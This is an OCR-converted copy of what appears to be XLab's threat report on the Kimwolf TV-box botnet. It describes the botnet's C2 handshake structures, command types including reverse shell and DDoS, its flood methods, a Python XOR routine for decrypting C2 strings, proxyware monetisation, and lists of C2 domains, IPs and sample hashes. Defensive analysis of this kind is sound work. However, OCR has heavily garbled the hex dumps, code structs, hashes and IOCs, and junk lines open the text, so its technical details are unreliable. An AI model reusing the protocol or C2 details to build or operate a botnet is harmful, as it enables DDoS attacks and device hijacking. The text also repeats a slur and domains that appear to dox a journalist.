Q8, Q8, Q9
Q8, Q8, Q9
Q8, Q8, Q9
Q8, Q8, Q9
Q8, Q8, Q9
Q8, Q8, Q9
Q8, Q8, Q9
Q8, Q8, Q9
Q8, Q8, Q9
Q8, Q8, Q9
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Kimwolf disguises its own process name as netd_services or tv_helper , and uses a Unix domain socket
named @niggaboxv[number] to implement single instance control. This combination of features can be used as a

high-confidence Indicator of Compromise (IOC) for device troubleshooting.

PID USER  FD DEVICE SIZE/OFF NODE NAME
4820 u0_a32 259,9
4820 u@_a32 259,9 4096
4820 u0_a32 259,14 397132 /data/app/com.n2.systemservice061-NqgPTS7BzoFpPmaWNUKwSg==/11b/arm/libdevice.so
4820 u@_a32 0,15 131072 /dev/__properties_ /u:object_r:debug_prop:s0
4820 u@_a32 0,15 131072 /dev/__properties__/properties_serial

4820 u@_a32 0,15 28464 /dev/__properties__/property_info
4820 u@_a32 397132 127262 /data/app/com.n2.systemservice061-NqgPTS7BzoFpPmaWNUKwSg==/11b/arm/1libdevice.so
4820 u0_a32 0to 5311695 @n iggaboxv5(0EEEAEAAEEEAEEEEAEAAEECAEAEACEAEAEACEEEAEEAECEACEEEAEEEEEEEEEEAEEAEE]
| 4820 u@_a32 0te 6252847 TCP :39104->:5000 (CLOSE_WAIT)
netd_service 4820 u@_a32 ) 0t0 7227 /dev/ptmx

Network Protocol

Kimwolf's network communication always uses TLS encryption. In early versions, the application layer protocol
was directly carried over the TLS tunnel; in the current version, a websocket handshake is performed before
sending the register message, but the protocol is not used subsequently. Its network communication packets
follow a fixed "Header + Body" format. In the Header, the Reserved field is a fixed value 1, while the Magic has
iterated three times, currently being "AD216CD4"; the structure of the message body varies depending on the

message type.

type Header struct {
Magic [4]byte // "DPRK" -> "FD9177FF" -> "AD216CD4"
Reserved uint8 /71
MsgType uint8
MsgID uint32
BodyLen uint32
CRC32 uint32

The MsgType field is used to explain the message type. Its values and corresponding functions are shown in the

table below:

MsgType desc

0 register

1 verify

2 confirm

3 heartbeat

4 reconnect
5 tcp proxy
6 udp proxy
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desc

reverse shell

cmd execute

write file

read file

ddos attack

Communication initialization between the Bot and C2 server adopts a three-stage handshake mechanism. Both

parties must sequentially complete the three interactions of register , verify ,and confirm to achieve two-

way identity authentication before it is considered a trusted session established.

Next, let's explain the interaction process between Bot and C2 using actually generated network traffic.

peoeeoee fd
00000010 00
@eeee012 fd
00000022 00
00000000
ooeee01e
00000020
00000030
00000040
00000050
00000060
20000024 fd
oeeeee34 59
oeeeeedd4 73
0000006E
0000007E

91 77
20

91 77 ff @1 00 00 00
00
fd
d7
02
c9
b6

ff 81 @@ 00 0o

91
@c
20
bo
b4
de 80 b8 35 26 dd 68
a7 6d a8 24 92 00 00
91 77 ff @1 02 00 @0
et 00 00 20 13 61 Ge
74 62 6Ff 6f 74 2d 72
fd 91 77 ff @1 @02 @0
20 0o

77
00
14
98
02

ff
00
ca
9e
711

01
00
ab
f4
00

21
24
58
2b
ed

00

4d
f9
c7

Step 1: Register, Bot ---> C2

0
¥

88
01
92
65
e
00
64
74
00

00 20 00 00 2@ 00 00

00 00 90 00 °@ e0 ee

de
30
49
cc
4f
42

00 00

||
b7 e2
8e 4c
cb 28
93 f2 69 13 13 e8
20 00 20 00 @4 @8
00 20 90 @00 17 @04 3f
72 6f 69 64 2d 70 6f

%]
o0
26
20
ds

00
(5]]
f2
71
c9

00
ee
ae
ed
d7

5¢
47
8o
17
66

saWassus sssunsus

R
sessnalU$ & ...GOE

ETEE

22 s aasdMe solie..I™

57 sasssten oL Qua.W

1b essleecss s{aaafO.

bd Oits&ihe .Ii..lB.

allacsasn smsaas

seWessses ssssnss
Y.....an droid-po
stboot-r t

saWanens ssssnans

The Bot sends two 18-byte Headers to the C2, where MsgType is 0, MsgID, BodyLen, CRC32 fields are all 0, and
Magic is FD9177FF .

Step 2: Verify, C2 ---> Bot

The C2 generates an Elliptic Curve Digital Signature for a random message using a private key and constructs the

packet Body part in the following format.

type VerifyBody struct {

MsglLen uint32

Msg

[Jbyte

Siglen uint32

Sig

[Joyte
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Parsing the Body in the example according to the above structure reveals:

e MsgLen is 4 bytes

e Msgis Xx XX XX XX

e Siglen is 0x47 bytes

e Signature

#Signat

00000000
00000010
00000020
00000030
00000040

ure

30 45 02 20 14 ca ab 58 4d 838 b7 e2 26 f2 a0 80
49 22 c9 b0 98 9e f4 2b f9 01 8e 4c 20 71 ed 17
cc 57 b6 b4 02 21 00 €@ c7 92 cb 28 d8 c9 d7 66
4f 1b d@ 80 b8 35 26 dd 68 65 93 f2 69 13 13 e8
42 bd a7 6d a8 04 92

|OE. .E«XM.-280 .|
[I"E°..5+0..L qi.|
|TWg. 1. ac. E(QEXT]
|0.D. 5&Yhe.oi..e|
|Bogm™. . |

When the Bot receives the Verify packet, it uses the hardcoded public key to verify the signature. Once verified, it

enters the final Confirm stage. The author of Kimwolf designed this mechanism with the intention of protecting

their C2 network from being taken over by others.

# Publick

00000000
00000010
00000020
00000030
00000040
00000050

ey

30 59 30 13 06 @7 2a 86 48 ce 3d 02 01 06 08 2a
86 48 ce 3d 03 01 @7 03 42 00 04 ed 6a a0 57 2d
53 02 ce 35 cc @a 04 93 2d b4 86 c9 a8 e2 93 f5
69 07 86 0f 99 42 4b ab 5¢c 12 7a e7 12 48 56 ad
34 b5 ae 92 ec 98 c9 bc el d8 15 dc 6e 1c 59 1b
be 96 b8 a9 5b 95 46 34 19 5a d2

Step 3: Confirm, Bot -> C2

|0Y0. .. * . Hi=....*|

| .Hi=....B..ij W-|
|S.151...-".E"a.5|
[i....BK\.z¢.HV. |
|4p®.1.E%440. 0n. Y. |
|%. ©[.F4.10|

The Bot uses the first parameter passed at runtime as the group identifier, constructs it according to the

GroupBody structure, and reports it to the C2. The group string used in the example is "android-postboot-rt".

type Grou

pBody struct {

MsglLen uint32

G

roup [Jbyte

Step 3: Confirm, C2 -> BOT
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After receiving the Bot's Confirm packet, the C2 server checks whether its belonging group has been pre-enabled
in the campaign. If the match is successful, the Bot's identity is confirmed as legal, and a Confirm response packet

is sent back to it. The MsgType field value of this response packet is 2, and MsgID, BodyLen, CRC32 fields are
all set to 0.

After the above process, the Bot and C2 complete the two-way identity authentication, and the Bot begins waiting
to execute commands sent by the C2. When the command number is 12, Kimwolf executes DDoS-related
functions. I believe readers familiar with Mirai will smile knowingly when seeing the DDoSBody, as this structure

originates exactly from Mirai.

Type DDoSBody struct {
AtkID uint32
AtkType uint8
Duration uint32
TargetCnt uint32
Targets []Target
FlagCnt  uint32
Flags [1Flag

Below are the 13 DDoS attack methods supported by Kimwolf.
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Floods: :udpplain(&v16);
case 1:
Floods: :udp_raw(&v16);
case 2:
Floods: :udp vse(&v16);
break;
case 3:
Floods: :udp dns((int)&v16);
break;
case 4:
Floods: :udp raknet(&v16);
case 5:
Floods: :tcp syn(&vl6);
case 6:
Floods: :tcp_ack(&vl6);
case 7:
Floods: :tcp tfo(&v16);
case 9:
Floods: :tcp socket(&vl1e);
case OxA:
Floods: :tcp stomp(&v16);
case OxE:
Floods::icmp(&v16);
case OxF:
Floods: :mc_enc(&vl6);
break;

case 0x10:
Floods::ssl socket(&vie);
break;

Command Tracking

Data from Xlab shows that the main command of the Kimwolf botnet is to use Bot nodes to provide proxy
services, accounting for 96.5% of all commands. The rest are DDoS attack commands. DDoS attack targets are
spread across various industries globally. Attack targets are mainly concentrated in regions like the USA, China,

France, Germany, and Canada.
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@ proxy

@ udp_plain
udp_plain (1.82%) @ tcp_socket
@ tcp_stomp
@ app_http
@ tcp_ack
@ udp_raw
@ tcp_minecraft
@ udp_raknet
@ udp_vse

proxy (96.45%)

Distribution of command types
1.7 Billion in 3 Days

From November 19 to 22, in just 3 short days, Kimwolf issued a staggering 1.7 billion commands, randomly
attacking massive amounts of IP addresses globally. We don't know why it had such confusing attack behavior, as
these attacks might not even cause substantial damage to the target addresses. We even once suspected whether a
BUG produced by ourselves caused these anomalies. It wasn't until we verified data with multiple top cloud

service providers that we finally confirmed—Kimwolf is just that crazy; it indeed sprayed the entire internet.

1,759,773,274 hits © Reset search

Nov 11, 2025 @ 17:24:36.793 - Dec 11, 2025 @ 17:24:36.793 per Day ~

600000000

£
2 400000000
(4]
200000000
N ] ]
2025-11-11 2025-11-15 2025-11-19 2025-11-23 2025-1-27 2025-12-01 2025-12-05 2025-12-09
@timestamp per day
DDoS Attack Trends

Arrogant Attack Payloads
Kimwolf often includes various ridicule, provocation, and even extortion information in DDoS Payloads.

Additional Components

In this campaign, to maximize the bandwidth extraction from compromised devices and maximize profit, the

attackers deployed a Rust-based Command Client and ByteConnect SDK in addition to Kimwolf and Aisuru.

1: Command Client
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The purpose of the Command Client is to form a proxy network. It targets proxying socks, receives proxy requests

from C2, and returns proxy results to C2.

The sample saves the CC address in ciphertext in the rodata section. The decryption algorithm is not complex,

being a byte-wise XOR with a password table of the same length.

Address Length

= .rodata:0016E... 00000017
= .rodata:0016E... 00000020
= .rodata:0016E... 00000028
= .rodata:0016E... 0000001E
= .rodata:0016E... 0000000B

String

src/handlers/net/mod.rs
src/handlers/net/proxy/resale.rs
src/handlers/net/proxy/socks5_handler.rs
src/handlers/net/syscmd/mod.rs
sr¢/main.rs

aNaNaNaNaR-y
=
[4+]

def dec(encbts):

tb1_off = 0
tb2_off = 0x@58BCD2 - 0x@58BCAQ
bts = []

for i in range(@, 0x30%4):
bts.append(chr(encbts[tb1_off+i] A encbts[tb2_off+i]))
return("".join(bts[:0x32]))

Based on the samples we have, two CC addresses can be restored, as follows:

proxy-sdk.14emeliaterracewestroxburyma®2132.su:443
sdk-bright.14emeliaterracewestroxburyma®2132.su:443

2: ByteConnect SDK

The so-called ByteConnect SDK is a monetization solution that helps developers generate revenue through
applications on various platforms. They claim their SDK is designed to be lightweight, secure, and easy to
integrate; it is ad-free, has no cryptocurrency mining, does not affect performance, has minimal impact on user

experience, and users won't even notice its existence.
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b byteconnect Home FAQ Company Support

(& Trusted by 500+ Developers Worldwide

Turn Your Mods & Apps Into
Passive Income Streams

No ads. No crypto mining. No performance impact. Just clean,
ethical monetization that your users won't even notice.

mreo12 downloaded by the Downloader script is exactly the ByteConnect SDK.

.rodata:00010A85 network DCB "GET /meta HTTP/1.1",0xD,0xA

.rodata:00010A05 DCB "Host: new-endpoints.byteconnect.io:80",0xD,0xA
.rodata:00010A05 DCB "User-Agent: TinyBC",@xD,@xA

.rodata:00010A05 DCB "Api-Key: jIzuZlLgok4ogadf@9s0o7w==",0xD,0xA
.rodata:00010A05 DCB "Accept: */*",0xD,0xA

.rodata:00010A05 DCB "Version: %d",@xD,@xA

.rodata:00010A05 DCB "Connection: close™,@xD,0xA

.rodata:00010A05 DCB "Publisher-ID: %s",0xD,0xA

ByteConnect's homepage has a revenue calculation formula: 10,000 access point users, 70% Opt-in Rate, will
yield $490 monthly revenue. With Kimwolf's scale of 1.8 million, the organization behind it earns an astonishing
$88,200 monthly through ByteConnect.
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Your App Metrics

Active Users 10,000
L

1K 100K

Expected Opt-in Rate 70%

./

30% 90%
Monthly Revenue Yearly Revenue

$490 $5,880

Little Gossip

Investigations found that the author of Kimwolf shows an almost "obsessive" fixation on the well-known

cybersecurity investigative journalist Brian Krebs, leaving easter eggs related to him in multiple samples.

For example, in sample 2078af54891b32ea@b1d1bf08b552fe8 , the domain fuckbriankrebs[.]Jcom is embedded in

both its udp_dns and mc_enc attack methods, used to generate DNS request payloads.

And in the console output of sample 1c03d82026b6bcf5acd8fc4bcf48ed@dd , the text
KREBSFIVEHEADFANCLUB appears directly, literally "Krebs Big Forehead Fan Club,". Talk about a
dedicated 'hater'.

Besides this direct "tribute," there is "love" hidden deeper. The C2 domain we took over
fuckyoukrebs1.briankrabs.seanobrien[redacted]ssn[redacted].su , aside from the string 'krebs' appearing
twice in the domain itself, hides a mystery: seanobrien[redacted] likely corresponds to Krebs' actual address,

and ssn[redacted] is likely his Social Security Number. Such behavior can be called a "sasaeng fan" in the

cyber security world, truly chilling.

Summary
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This is the majority of the intelligence we currently possess on the Kimwolf botnet. Giant botnets originated with
Mirai in 2016, with infection targets mainly concentrated on IoT devices like home broadband routers and
cameras. However, in recent years, information on multiple million-level giant botnets like Badbox, Bigpanzi,
Vo1d, and Kimwolf has been disclosed, indicating that some attackers have started to turn their attention to
various smart TVs and TV boxes. These devices generally suffer from problems like firmware vulnerabilities, pre-
installed malicious components, weak passwords, and lack of security update mechanisms, making them
extremely easy for attackers to control long-term and use for large-scale cyberattacks. One of our motives for
disclosing the Kimwolf botnet this time is to call on the security community to give due attention to smart TV-

related devices.

After attackers gain root privileges on smart TVs, the resulting attacks are not limited to traditional cyberspace.
Attackers can use controlled terminals to insert tampered, biased, or extreme videos. In the legal systems of many
countries, inserting content without written permission violates the contract between the viewer and the TV
program provider and is illegal. For example, TV equipment at the HUD headquarters in Washington, D.C., USA,
was tampered with by hackers to play an unauthorized Al-forged video (showing Trump kissing Musk's toes, with
the caption LONG LIVE THE REAL KING ), triggering significant public safety and public opinion risks, etc. This is
our second motive for disclosing the Kimwolf botnet this time, calling on law enforcement agencies to consider

scrutinizing such suspected illegal activities related to smart TVs.

( FAKEMAGE ) K FAKE IMAGE

NBC News

Against the backdrop of overlapping threats, whether ordinary TV box users, sales channels, operators, or
regulatory departments and manufacturers, all must attach great importance to the security of TV boxes. Among
them, TV box users should especially: ensure devices come from reliable sources, use firmware that can be
updated in time, avoid setting weak passwords, and refuse to install APKs of unknown origin to reduce the risk of

being infected and controlled by botnets.

We sincerely welcome CERTS from all countries to contact us, share intelligence and vision, join hands to combat

cybercrime, and jointly maintain global cybersecurity. If you are interested in our research, or know inside
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information, feel free to contact us via X platform.

10C

Sample MD5

# APK
887747dc1687953902488489b805d965
b688c22aabcd83138bbadafhib3efdfc
2fd5481e9d20dad6d27e320d546471e
5f4ed952e69abb337f9405352cb5cc05
4cd750f32ee5d4f9e335757ae992ceb4
8011ed1d1851cbae31274c2ac8edfc0b
95efbc9fdc5c7bchf469de3aldcc35699
bda398fcdbda2ddd4c756e7e7c4713d8
ea’e4930b7506c1a5ca’fee10547efbb
dfe8d1f591d53259e573b98ach178e84
3a172e3a2d330c49d7baad2ead3b6539

# SO ELF

726557aaebee929541f9c60ec86d356e
bf06011784990b3ccad2fe997ff9b33d
d086086b35d6c2ecf60b405e79f36d05
2078af54891b32eadb1d1bfO8b552fe8
b89ee1304b94f0951af31433dac9albd
34dfa5bc38hb8c6108406bTe4dada21ed
51cfebleacb3baae33a88aabf95e5185
1c03d82026bbbcf5acd8fcdbcf48ed00

€96073b7ed4a8eb40bed6980a287bc9f
f8a70ca813a6f5123c3869d418f00fe5
33435ec640fbd3451f5316c9e45d46e8
9053cef2ead29339b64f3df88cad8e3f
85ba20e982ed8088bb1ba7ed23b0c497
9b37f3bf3b91aa4f135a6c64abab43bd

# RUST

b1d4739d692d70c3e715f742ac329b05
5490fb81cf24a2defa87ea251f553d11
cf7960034540cd25840d619702c73a26

# Downloader
e4be95de21627b8f988badb55c34380c

C2
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api.groksearch[.net

nnkjzfaxkjanxzk.14emeliaterracewestroxburyma@2132[.su

zachebt.chachasli[.de
zachebt.groksearch[.net
rtrdedgel.samsungcdn[.cloud

fuckzachebt .meowmeowmeowmeowmeow.meow. indiahackgod[ . su
staging.pproxy1[.fun

sdk-dl-prod.proxiessdk[.online
sdk-dl-production.proxiessdk[.store

lol.713mtauburnctcolumbusoh43085[.st

pawsatyoul[ .eth
lolbroweborrowtvbro.713mtauburnctcolumbusoh43085[ .st

Downloader

93.95.112.50 AS397923 - Resi Rack L.L.C.
93.95.112.51 AS397923 - Resi Rack L.L.C.
93.95.112.52 AS397923 - Resi Rack L.L.C.
93.95.112.53 AS397923 - Resi Rack L.L.C.
93.95.112.54 AS397923 - Resi Rack L.L.C.
93.95.112.55 AS397923 - Resi Rack L.L.C.
93.95.112.59 AS397923 - Resi Rack L.L.C.

Appendix

cyberchef

https://gchq.github.io/CyberChef/#recipe=Fork('%5C%5Cn", '%5C%5Cn", false)Change_IP_format('Dotted%2@Decimal’, 'H

Source: http://blog.xlab.qgianxin.com/kimwolf-botnet-en/
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